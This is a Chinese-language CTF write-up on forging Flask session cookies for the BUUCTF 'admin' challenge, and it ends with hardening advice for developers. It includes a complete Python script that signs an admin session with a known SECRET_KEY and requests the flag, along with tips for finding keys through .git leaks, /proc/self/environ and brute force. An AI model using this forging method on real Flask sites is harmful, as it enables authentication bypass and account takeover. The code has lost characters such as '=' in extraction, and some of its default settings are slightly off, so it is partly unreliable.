Flask Session伪造实战:从CTF题解析Cookie签名机制与安全防护

📅 2026/7/28 6:42:30
Flask Session伪造实战:从CTF题解析Cookie签名机制与安全防护
1. 项目概述从一道CTF题看Flask Session的安全隐患最近在BUUCTF平台上刷题又遇到了那道经典的“admin”题。这道题可以说是Web安全入门特别是理解Flask框架安全特性的一个绝佳案例。它不涉及复杂的SQL注入或者文件上传核心考点直指Flask的Session机制。很多新手看到“登录成为admin”的要求第一反应可能是去爆破密码或者找注入点但如果对Flask的工作原理不熟悉很容易在这里卡住。实际上这道题完美地揭示了如果开发者对Session的生成和校验逻辑处理不当会带来多么严重的安全问题——攻击者可以轻易地伪造任意用户的登录状态。今天我就用一个自制的Python脚本带大家一步步拆解这道题不仅是为了解题更是为了深入理解Flask Session的运作原理和其中的安全陷阱。无论你是CTF新手还是正在学习Flask开发的开发者相信这个实战过程都能让你对“状态保持”和“身份认证”有更深刻的认识。2. Flask Session机制深度解析为什么它能被伪造在动手之前我们必须先搞清楚靶子是什么。Flask的Session和我们常说的“Session”在实现上有些不同正是这些不同在特定配置下成为了安全漏洞的源头。2.1 核心概念Cookie-Based Session在大多数传统Web框架如PHP、Java EE中Session数据是存储在服务器端的内存、数据库或缓存中客户端只保存一个唯一的Session ID。Flask则采用了一种更为轻量、无状态的设计客户端Cookie存储。Flask会将整个Session对象一个Python字典序列化、签名后直接存储在用户的Cookie中键名默认为session。这样做的好处是服务器无需维护Session存储减轻了服务器负担特别适合无状态、可扩展的微服务架构。但坏处也显而易见Session数据完全暴露在客户端。为了防止数据被篡改Flask引入了签名机制。2.2 签名与密钥安全的第一道闸门Flask使用itsdangerous库对Session数据进行签名。过程大致如下序列化将{user_id: 1, username: guest}这样的Session字典通过特定的序列化器默认是json转换成字符串。签名使用一个密钥SECRET_KEY和序列化后的字符串通过HMAC等算法生成一个签名。组合将“序列化字符串”和“签名”用点号.连接形成最终的Session Cookie值。当这个Cookie被发送回服务器时Flask会重新计算签名并与Cookie中的签名对比。如果一致则认为数据未被篡改如果不一致则Session会被视为无效。注意这里的“签名”是消息认证码用于验证完整性而非加密。Session字典的内容是明文可见的经过base64编码只是不能被篡改。这是理解伪造可能性的关键。2.3 漏洞成因脆弱的密钥或逻辑缺陷既然有签名保护为何还能伪造问题通常出在以下两点弱密钥Weak Secret Key如果应用的SECRET_KEY设置得过于简单如‘123456’、‘flask’甚至被硬编码在源码中并泄露攻击者就可以利用这个密钥为自己想要的任何Session数据生成合法的签名。在CTF题中密钥有时会直接写在题目描述或注释里。逻辑绕过Logic Flaw题目可能并未直接泄露密钥但其Session验证逻辑存在缺陷。例如它可能只检查Session中是否存在某个键如‘admin’: True而没有验证这个Session是否真的由服务器签发即签名是否正确。或者它使用了已知的不安全签名算法。BUUCTF的这道admin题通常就是考察对Flask Session明文结构的识别以及密钥的获取或破解。我们的实战将围绕这一点展开。3. 实战环境准备与信息收集在编写攻击脚本前侦察是必不可少的一步。我们需要像侦探一样收集关于目标应用的一切信息。3.1 启动目标与初步访问首先在BUUCTF平台启动该题目你会获得一个临时的URL例如http://node4.buuoj.cn:2xxxx/。用浏览器访问它。观察页面通常是一个简单的登录页面或者直接就是一个显示Hello, guest的页面并提示“只有admin才能看到flag”。检查Cookie立即打开浏览器的开发者工具F12切换到“应用程序”Application或“存储”Storage标签页查看Cookies。你几乎百分之百会看到一个名为session的Cookie其值是一长串看起来像乱码的字符。这就是我们的主战场。3.2 解码Session窥探其结构Flask的Session Cookie值虽然看起来乱但其结构是固定的序列化数据.时间戳.签名。我们可以用Python轻松解码。import base64 import json # 假设从浏览器复制来的session值为 session_cookie “eyJ1c2VybmFtZSI6Imd1ZXN0In0.Yxxxxx.xxxxxx” # 1. 分割字符串 try: data_b64, timestamp, signature session_cookie.split(‘.’) except ValueError: # 有时可能没有时间戳部分是旧格式 data_b64, signature session_cookie.split(‘.’) timestamp None # 2. 解码数据部分Base64解码 # Flask使用的Base64是URL安全的需要补全’’填充符 padding 4 - (len(data_b64) % 4) if padding ! 4: data_b64 ‘’ * padding decoded_data base64.urlsafe_b64decode(data_b64) # 3. 反序列化默认是json session_dict json.loads(decoded_data) print(“解码后的Session字典”, session_dict) print(“时间戳”, timestamp) print(“签名”, signature)运行这段代码你大概率会看到类似{‘username’: ‘guest’}的输出。这证实了Session是明文存储用户身份的。我们的目标就是将其修改为{‘username’: ‘admin’}并生成一个合法的签名。3.3 关键一步寻找SECRET_KEY没有密钥我们就无法生成新签名。以下是几种常见的寻找密钥的思路在CTF和真实安全评估中都用得上源代码泄露检查常见的源码泄露路径如/.git/、/.svn/、/www.zip、/source.tar.gz。用工具如dirsearch扫描目录。如果题目提供了源代码附件直接在其中搜索SECRET_KEY、secret_key等关键词。配置文件或环境变量Flask的密钥可能写在config.py、settings.py或通过环境变量FLASK_SECRET_KEY加载。如果题目有文件读取漏洞LFI可以尝试读取/proc/self/environLinux环境变量或/etc/passwd等文件进行旁路。已知弱密钥尝试一些常见的弱密钥如‘secret’、‘flask’、‘key’、‘123456’或者是应用名称、题目名称的变形。通过错误信息推断如果应用开启了Debug模式在触发错误时错误页面可能泄露部分配置信息。密码学攻击如果密钥足够弱理论上可以通过已知的明文{‘username’: ‘guest’}和对应的签名进行暴力破解或字典攻击。但这在CTF中不常见因为计算量太大。对于这道BUUCTF题目经过信息收集我们通常会发现密钥就硬编码在题目提供的源码文件里比如app.secret_key ‘here_is_secret_key_xxx’。请务必使用题目提供的密钥这是解题的合法前提。4. Python伪造脚本编写与核心环节实现假设我们已经通过上述方法成功获取到了目标的SECRET_KEY为‘this_is_a_weak_secret_key_for_ctf’。接下来我们将编写一个完整的攻击脚本。4.1 脚本整体架构我们的脚本需要完成以下功能构建我们想要的Session数据字典。使用正确的密钥和序列化方法对数据进行签名。生成符合Flask格式的Session Cookie字符串。携带伪造的Cookie访问目标页面获取Flag。我们将使用Flask自身依赖的itsdangerous库来完成签名工作这是最可靠的方法。4.2 分步实现与代码详解import requests from itsdangerous import URLSafeTimedSerializer import json def forge_flask_session(): # 目标URL target_url ‘http://node4.buuoj.cn:2xxxx/’ # 替换为你的题目地址 # 关键参数 secret_key ‘this_is_a_weak_secret_key_for_ctf’ # 替换为找到的密钥 # Flask Session的盐值通常是‘cookie-session’但有时题目会修改。 # 如果使用默认配置盐值为空字符串 ‘’。 salt ‘cookie-session’ # 1. 创建序列化器 # URLSafeTimedSerializer 是Flask默认使用的序列化器。 # 参数说明 # secret_key: 密钥 # salt: 用于为签名增加额外熵值防止不同用途的签名冲突。Flask默认使用‘cookie-session’。 # serializer: 序列化模块默认是json。 # signer_kwargs: 签名器参数这里指定使用HMAC和SHA1算法Flask默认。 s URLSafeTimedSerializer( secret_keysecret_key, saltsalt, serializerjson, signer_kwargs{‘key_derivation’: ‘hmac’, ‘digest_method’: ‘sha1’} ) # 2. 构造我们想要的Session数据 # 根据之前解码的guest session结构我们需要伪造一个admin身份。 # 有时键名可能是‘user’、‘name’具体需观察。这里假设是‘username’。 forged_session_data {‘username’: ‘admin’} # 有些题目可能需要额外的字段如 ‘is_admin’: True, ‘user_id’: 1 等。 # 多尝试几种组合。 # 3. 生成签名的Session Cookie值 # dumps方法会执行序列化 - 签名 - 组合 forged_cookie_value s.dumps(forged_session_data) print(f“[*] 伪造的Session Cookie值为{forged_cookie_value}”) # 4. 解码验证一下可选用于调试 try: decoded_again s.loads(forged_cookie_value) print(f“[] 验证解码成功{decoded_again}”) except Exception as e: print(f“[-] 验证解码失败{e}”) return # 5. 发起携带伪造Cookie的请求 headers { ‘User-Agent’: ‘Mozilla/5.0 (CTF Exploit Script)’, } cookies { ‘session’: forged_cookie_value } print(f“[*] 正在向 {target_url} 发送请求...”) try: resp requests.get(target_url, headersheaders, cookiescookies, timeout10) print(f“[] 请求成功状态码{resp.status_code}”) # 6. 检查响应提取Flag # Flag通常隐藏在响应正文、某个HTML标签内或者直接显示在页面上。 if resp.status_code 200: print(“\n[] 响应内容如下”) print(resp.text[:2000]) # 打印前2000字符通常够用了 # 简单的Flag模式匹配BUUCTF Flag格式通常为 flag{...} import re flag_pattern re.compile(r‘flag\{[^}]\}’) matches flag_pattern.findall(resp.text) if matches: print(f“\n[!!!] 发现Flag: {matches[0]}”) else: print(“\n[-] 未在响应中直接找到Flag格式请手动检查完整响应或页面源代码。”) else: print(f“[-] 请求状态码异常{resp.status_code}”) except requests.exceptions.RequestException as e: print(f“[-] 网络请求失败{e}”) if __name__ ‘__main__’: forge_flask_session()4.3 参数调整与实战技巧盐值Salt的确定这是最容易出错的地方。Flask的Session接口默认使用的盐是‘cookie-session’。但开发者可以通过app.session_interface.salt进行自定义。如果使用默认的URLSafeTimedSerializer直接签名盐值可能是空字符串‘’。如何确定最佳方法分析题目源码。查看Flask应用初始化部分寻找session_interface或SECRET_KEY、SESSION_COOKIE_NAME等配置。实验方法如果拥有一个有效的guest session和对应的密钥可以编写一个简单的暴力测试脚本尝试常见的盐值如‘’,‘cookie-session’,‘flask-session’看哪个能成功验证即s.loads(guest_session)不报错。Session数据结构务必确保你伪造的数据结构与服务器端读取的预期结构完全一致。如果服务器端代码是if session.get(‘user’) ‘admin’:那么你的字典就应该是{‘user’: ‘admin’}而不是{‘username’: ‘admin’}。一个字符的差别都会导致失败。签名算法Flask默认使用itsdangerous的HMAC-SHA1。虽然SHA1在密码学上已不再安全但在这里它只是用于消息认证在不知道密钥的情况下依然难以破解。除非题目特别说明否则使用默认算法即可。5. 常见问题排查与进阶利用思路即使脚本写好了一次成功也并非必然。下面是我在多次实战中总结的排查清单和进阶思考。5.1 问题排查速查表问题现象可能原因解决方案itsdangerous.BadSignature错误1.密钥错误使用的SECRET_KEY不对。2.盐值错误salt参数与服务器端不匹配。3.数据结构被篡改在生成签名后又手动修改了Cookie值。1. 反复确认密钥来源的准确性。2. 尝试不同的盐值或从源码确认。3. 确保使用dumps()一次性生成完整Cookie不要拼接。请求后页面仍显示guest或无变化1.Session键名不对服务器读取的键不是username。2.Session过期或格式不符服务器可能检查时间戳或其它字段。3.Cookie未成功设置或发送检查请求头中的Cookie字段是否正确。1. 仔细分析服务器端可能的代码逻辑尝试user,name,admin等键名或尝试{‘admin’: True}。2. 如果服务器使用Timed验证确保数据中没有过期。可以尝试不使用URLSafeTimedSerializer而用URLSafeSerializer。3. 使用脚本打印出发送的请求头或使用Burp Suite等代理工具拦截查看。收到500服务器内部错误服务器在反序列化或处理Session时崩溃。可能由于数据结构极其异常。检查伪造的Session数据是否包含不可JSON序列化的类型如Python对象。确保是纯字典、列表、字符串、数字等基本类型。找不到FlagFlag可能不在首页需要访问特定路径如/admin,/flag或者需要通过POST请求提交某个参数。1. 查看响应HTML中的链接、表单、JavaScript提示。2. 使用目录扫描工具对目标进行扫描。3. 尝试常见的路径如/flag,/admin/flag,/getflag等。5.2 进阶利用当没有密钥时怎么办如果题目没有直接给出密钥我们就需要更高级的技巧。这超出了本题的范围但思路值得了解字典攻击/暴力破解如果密钥空间很小比如一个短单词可以尝试暴力破解。你需要已知的一个有效Session明文和签名对然后编写脚本尝试所有可能的密钥直到能成功验证签名。itsdangerous库的Signer类可以用于这种验证。格式攻击Padding Oracle这是一种针对CBC模式加密如果Session被加密而不仅仅是签名或某些特定签名实现的高级攻击。Flask默认不加密Session所以此攻击不适用。但如果开发者错误地使用了加密的Cookie且服务器会返回不同的错误信息如“解密错误” vs “签名错误”则可能存在此类漏洞。寻找密钥泄露点这是最实际的方法。系统地检查版本控制历史.git/logs/HEAD或提交历史中可能包含旧的、被修改掉的密钥。备份文件app.py.bak,config.py.swp(Vim交换文件)。环境变量通过SSRF或RCE漏洞读取/proc/self/environ。错误日志应用错误可能将配置信息打印到日志文件。5.3 对开发者的安全启示通过这道题作为开发者应该吸取以下教训永远使用强密钥SECRET_KEY必须是足够长、足够随机的字符串最好通过环境变量注入而不是硬编码在源码中。可以使用os.urandom(24)生成。考虑服务端Session存储对于安全性要求高的应用应使用Flask-Session等扩展将Session数据存储到服务器端的Redis或数据库中客户端只存储一个不透明的ID。Session数据最小化不要在Cookie中存储敏感信息如密码哈希、权限列表。只存储必要的、非敏感的用户标识如用户ID。定期轮换密钥制定策略定期更换SECRET_KEY使之前签发的所有Session失效。这个伪造Session的过程本质上是一次对Flask身份验证机制的“理解性绕过”。它之所以能成功根本原因在于身份凭证Session的生成和验证逻辑完全依赖于一个静态的秘密SECRET_KEY一旦这个秘密被知晓或可预测整个防线就崩塌了。在真实开发中我们必须建立纵深防御不能把安全寄托在单一密钥的保密性上。